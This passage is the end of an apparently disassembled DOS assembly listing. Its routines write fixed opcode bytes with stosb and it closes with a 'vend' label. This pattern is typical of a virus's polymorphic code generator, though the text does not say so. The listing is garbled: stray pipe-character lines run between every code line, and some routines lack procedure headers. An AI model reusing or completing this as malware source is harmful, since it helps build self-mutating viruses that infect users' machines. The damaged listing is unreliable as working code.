write_8dh_3eh_BL_BH endp
|
||
|
|
|
||
|
|
write_83h_0c7h_DL proc near
|
||
|
|
mov al,83h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0C7h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,dl
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_83h_0c7h_DL endp
|
||
|
|
|
||
|
|
|
||
|
|
write_0ebh_0 proc near
|
||
|
|
mov al,0EBh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_0ebh_0 endp
|
||
|
|
|
||
|
|
|
||
|
|
write_9h_0ffh proc near
|
||
|
|
mov al,9
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0FFh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_9h_0ffh endp
|
||
|
|
|
||
|
|
write_9h_0efh proc near
|
||
|
|
mov al,9
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0EFh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_9h_0efh endp
|
||
|
|
|
||
|
|
|
||
|
|
write_21h_0efh proc near
|
||
|
|
mov al,21h ; '!'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0EFh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_21h_0efh endp
|
||
|
|
|
||
|
|
write_81h_0efh proc near
|
||
|
|
mov al,81h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0EFh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_81h_0efh endp
|
||
|
|
|
||
|
|
mov al,29h ; ')'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0C7h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
|
||
|
|
write_29h_0cfh proc near
|
||
|
|
mov al,29h ; ')'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0CFh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_29h_0cfh endp
|
||
|
|
|
||
|
|
mov al,29h ; ')'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0D7h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
|
||
|
|
write_29h_0f7h proc near
|
||
|
|
mov al,29h ; ')'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0F7h
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_29h_0f7h endp
|
||
|
|
|
||
|
|
|
||
|
|
write_29h_0efh proc near
|
||
|
|
mov al,29h ; ')'
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
mov al,0EFh
|
||
|
|
stosb ; Store al to es:[di]
|
||
|
|
retn
|
||
|
|
write_29h_0efh endp
|
||
|
|
|
||
|
|
vend equ $
|
||
|
|
|
||
|
|
seg_a ends
|
||
|
|
end start
|